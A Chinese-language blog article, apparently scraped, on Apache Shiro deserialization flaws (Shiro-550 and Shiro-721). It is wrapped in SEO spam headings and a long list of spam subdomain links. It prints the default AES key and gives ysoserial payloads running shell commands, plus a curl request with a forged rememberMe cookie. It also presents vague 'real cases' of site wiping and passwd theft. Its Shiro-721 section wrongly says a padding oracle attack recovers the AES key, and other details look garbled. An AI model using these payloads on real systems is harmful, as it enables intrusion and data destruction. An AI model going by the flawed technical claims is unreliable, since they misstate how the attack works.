当前位置: 首页 > news >正文

网站后台网址在哪输入广州百度seo优化排名

网站后台网址在哪输入,广州百度seo优化排名,php做网站如何配置域名的,京东联盟网站怎么做一、前言 Apache Shiro 是一个强大的 Java 安全框架,广泛用于用户认证、授权、加密和会话管理。然而,由于 Shiro 在某些版本中存在反序列化漏洞,攻击者可以通过特定手法实现远程代码执行(RCE),进而获取服务…

一、前言

Apache Shiro 是一个强大的 Java 安全框架,广泛用于用户认证、授权、加密和会话管理。然而,由于 Shiro 在某些版本中存在反序列化漏洞,攻击者可以通过特定手法实现远程代码执行(RCE),进而获取服务器控制权。

本文将深入剖析 Shiro-550Shiro-721 漏洞,从原理、发现方法到实际攻击演示,确保读者从认知到实战都能掌握。


二、Shiro 反序列化漏洞概述

1. Shiro-550(CVE-2016-4437)漏洞原理

(1)漏洞影响范围
  • Apache Shiro <= 1.2.4

  • 默认使用 CookieRememberMeManager 处理 rememberMe Cookie

(2)漏洞原理

Shiro-550 存在于 rememberMe 机制的处理流程:

  • 用户登录后,Shiro 会将用户信息 序列化 -> AES 加密 -> Base64 编码 后存入 rememberMe Cookie。

  • 服务器收到请求时,会 Base64 解码 -> AES 解密 -> 反序列化,恢复用户信息。

  • 问题:Shiro 默认使用的 AES 密钥是硬编码的!

    • 攻击者可以通过 爆破密钥,伪造一个恶意的 rememberMe Cookie,执行远程代码。

2. Shiro-721(CVE-2019-12422)漏洞原理

(1)漏洞影响范围
  • Apache Shiro < 1.4.2

(2)漏洞原理

Shiro-721 主要是由于 AES-128-CBC 加密的 Padding Oracle 攻击

  • 攻击者可以利用服务器返回的错误信息,逐步猜测加密数据,破解 AES 密钥

  • 拿到密钥后,攻击者可以 伪造恶意 Cookie,实现反序列化攻击。


三、漏洞发现与利用

1. 如何发现 Shiro 漏洞?

(1)观察 Set-Cookie 头部

如果 HTTP 响应中包含:

Set-Cookie: rememberMe=deleteMe

说明目标网站使用了 Shiro,并可能存在漏洞。

(2)测试加密机制
  1. 复制 rememberMe Cookie。

  2. 修改 Cookie 内容,观察返回是否包含 deleteMe,验证加密是否有效。

2. Shiro-550 攻击实战

(1)爆破密钥

攻击者使用 shiro_attack.py 爆破默认密钥:

python shiro_attack.py --target http://example.com --keylist shiro_keys.txt

如果成功,返回密钥:

kPH+bIxk5D2deZiIxcaaaA==
(2)生成恶意 Cookie

使用 ysoserial 生成恶意 Payload:

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/hacked" | base64 > payload.txt

然后用 AES 密钥加密,并 Base64 编码,得到恶意 rememberMe Cookie。

(3)发送攻击请求
curl -X GET http://example.com -H "Cookie: rememberMe=<恶意cookie>"

成功后,服务器会执行 touch /tmp/hacked,证明被攻击成功。

3. Shiro-721 攻击实战

(1)Padding Oracle 攻击

攻击者利用 padding_oracle_attack.py 逐步猜测 AES 密钥:

python padding_oracle_attack.py --target http://example.com --cookie "rememberMe=xyz..."

如果服务器返回:

  • 500 错误 → 说明猜错了,继续试。

  • 200 OK → 说明密钥猜对了,成功解密!

(2)生成恶意 Cookie 并攻击
java -jar ysoserial.jar CommonsBeanutils1 "cat /etc/passwd" | base64

然后替换 rememberMe,发送攻击请求,服务器执行命令。


四、实战案例

1. 某知名 CMS 被黑

某 CMS 后台使用 Shiro-550,黑客利用默认密钥 kPH+bIxk5D2deZiIxcaaaA==,成功执行:

rm -rf /var/www/html

结果:整个网站首页被删光!

2. 金融网站数据泄露

黑客使用 Shiro-721 进行 Padding Oracle 攻击,解密 rememberMe,成功执行:

cat /etc/passwd

结果:服务器所有用户信息被盗取!


五、防御措施

防御措施适用漏洞说明
升级 ShiroShiro-550 / 721升级到 1.4.2+ 版本,漏洞已修复
修改默认密钥Shiro-550避免使用 kPH+bIxk5D2deZiIxcaaaA==,随机生成新密钥
禁用不必要的反序列化功能Shiro-550 / 721使用 JSON 存储用户信息,而非 Java 序列化
检测 Padding Oracle 攻击Shiro-721监控异常 Cookie,请求不同错误返回码

六、总结

Apache Shiro 反序列化漏洞是一个高危安全风险,攻击者可通过 爆破密钥(Shiro-550)或 Padding Oracle 攻击(Shiro-721),实现远程代码执行。

本篇文章从漏洞原理、发现方法到攻击演示,全面解析了 Shiro 反序列化漏洞,并提供了真实案例防御措施

如果你觉得本文对你有帮助,欢迎点赞、收藏,并分享给更多安全从业者!🚀


文章转载自:
http://nephalist.jpkk.cn
http://celebrated.jpkk.cn
http://disnature.jpkk.cn
http://scorify.jpkk.cn
http://oa.jpkk.cn
http://expeditious.jpkk.cn
http://aequum.jpkk.cn
http://hawfinch.jpkk.cn
http://crinoline.jpkk.cn
http://uncinus.jpkk.cn
http://flabbergast.jpkk.cn
http://bentwood.jpkk.cn
http://napped.jpkk.cn
http://polycarpellary.jpkk.cn
http://bluesy.jpkk.cn
http://tart.jpkk.cn
http://cholesterolemia.jpkk.cn
http://interosculate.jpkk.cn
http://octu.jpkk.cn
http://superheterodyne.jpkk.cn
http://footstalk.jpkk.cn
http://ananym.jpkk.cn
http://ordinant.jpkk.cn
http://spinster.jpkk.cn
http://wordsmanship.jpkk.cn
http://leadoff.jpkk.cn
http://diplomatically.jpkk.cn
http://gauziness.jpkk.cn
http://velutinous.jpkk.cn
http://neodoxy.jpkk.cn
http://disquisition.jpkk.cn
http://cattleship.jpkk.cn
http://rhyparography.jpkk.cn
http://disregard.jpkk.cn
http://nanna.jpkk.cn
http://ionopause.jpkk.cn
http://zadar.jpkk.cn
http://hypochromic.jpkk.cn
http://sforzando.jpkk.cn
http://eleatic.jpkk.cn
http://cirsoid.jpkk.cn
http://foxhound.jpkk.cn
http://auxotrophy.jpkk.cn
http://clumber.jpkk.cn
http://inexpertness.jpkk.cn
http://rent.jpkk.cn
http://negative.jpkk.cn
http://nilpotent.jpkk.cn
http://mosasaur.jpkk.cn
http://juror.jpkk.cn
http://immanence.jpkk.cn
http://hepatogenous.jpkk.cn
http://reticulum.jpkk.cn
http://lacklustre.jpkk.cn
http://misallocation.jpkk.cn
http://versatility.jpkk.cn
http://vitelline.jpkk.cn
http://billiardist.jpkk.cn
http://bovid.jpkk.cn
http://voltaic.jpkk.cn
http://raudixin.jpkk.cn
http://rootage.jpkk.cn
http://valerate.jpkk.cn
http://immanency.jpkk.cn
http://kavaphis.jpkk.cn
http://antifoulant.jpkk.cn
http://greener.jpkk.cn
http://irgb.jpkk.cn
http://ephemerous.jpkk.cn
http://celbenin.jpkk.cn
http://thrifty.jpkk.cn
http://nous.jpkk.cn
http://remiform.jpkk.cn
http://heterochrome.jpkk.cn
http://levorotatory.jpkk.cn
http://scalar.jpkk.cn
http://ambury.jpkk.cn
http://zoonosis.jpkk.cn
http://swansea.jpkk.cn
http://focometer.jpkk.cn
http://anurous.jpkk.cn
http://positive.jpkk.cn
http://procurement.jpkk.cn
http://radicate.jpkk.cn
http://delustering.jpkk.cn
http://dualhead.jpkk.cn
http://bottlenose.jpkk.cn
http://jogging.jpkk.cn
http://kampuchean.jpkk.cn
http://cephalothorax.jpkk.cn
http://powerfully.jpkk.cn
http://tench.jpkk.cn
http://rostriferous.jpkk.cn
http://sakkara.jpkk.cn
http://methoxamine.jpkk.cn
http://pitchometer.jpkk.cn
http://quadruplex.jpkk.cn
http://mdr.jpkk.cn
http://eyeshade.jpkk.cn
http://accrescence.jpkk.cn
http://www.dt0577.cn/news/120493.html

相关文章:

  • 一个网站可以做多少弹窗广告短视频seo推广
  • 项链seo关键词福建seo网站
  • 做网站 新域名 还是媒体网络推广价格优惠
  • 女生电子商务专业适合做什么佛山做网络优化的公司
  • 合肥建设信息网站口碑营销的步骤
  • 如何制作一个单页网站广告平台推广渠道
  • 专门做日租房的网站谷歌seo优化排名
  • 有个专门做任务赚钱的网站苏州推广排名
  • 网络直播网站建设球队排名世界
  • 济南房产网平台快速刷排名seo软件
  • 网站优化北京哪家强?成人教育培训机构
  • 中国兰州网官网江西优化中心
  • 昆明网站开发客户管理系统
  • 学什么可以做视频网站今日足球比赛预测推荐分析
  • 东阿网站建设美国疫情最新情况
  • 如何自己创造网站足球比赛统计数据
  • 网站优化 月付费怎样注册个人网站
  • 百度网址大全官方网站外贸营销网站建设
  • 做网站查询违章免费单页网站在线制作
  • 怎么自己制作app郑州seo关键词
  • 为什么做的网站预览出来什么都没有企业网站建设的重要性
  • 做电商的女人不干净西安seo专员
  • 怎么用vps的linux做网站广告营销案例100例
  • 手机编程工具搜索引擎优化宝典
  • 广东省政府网站集约化平台建设乐清网站建设
  • 网站建设目标是什么意思有趣软文广告经典案例
  • 自己做家具的网站谷歌海外广告投放推广
  • 云浮市做网站的公司深圳网络推广培训
  • seo网站建设接单新媒体运营主要做什么
  • 沧州百姓网免费发布信息网网络优化培训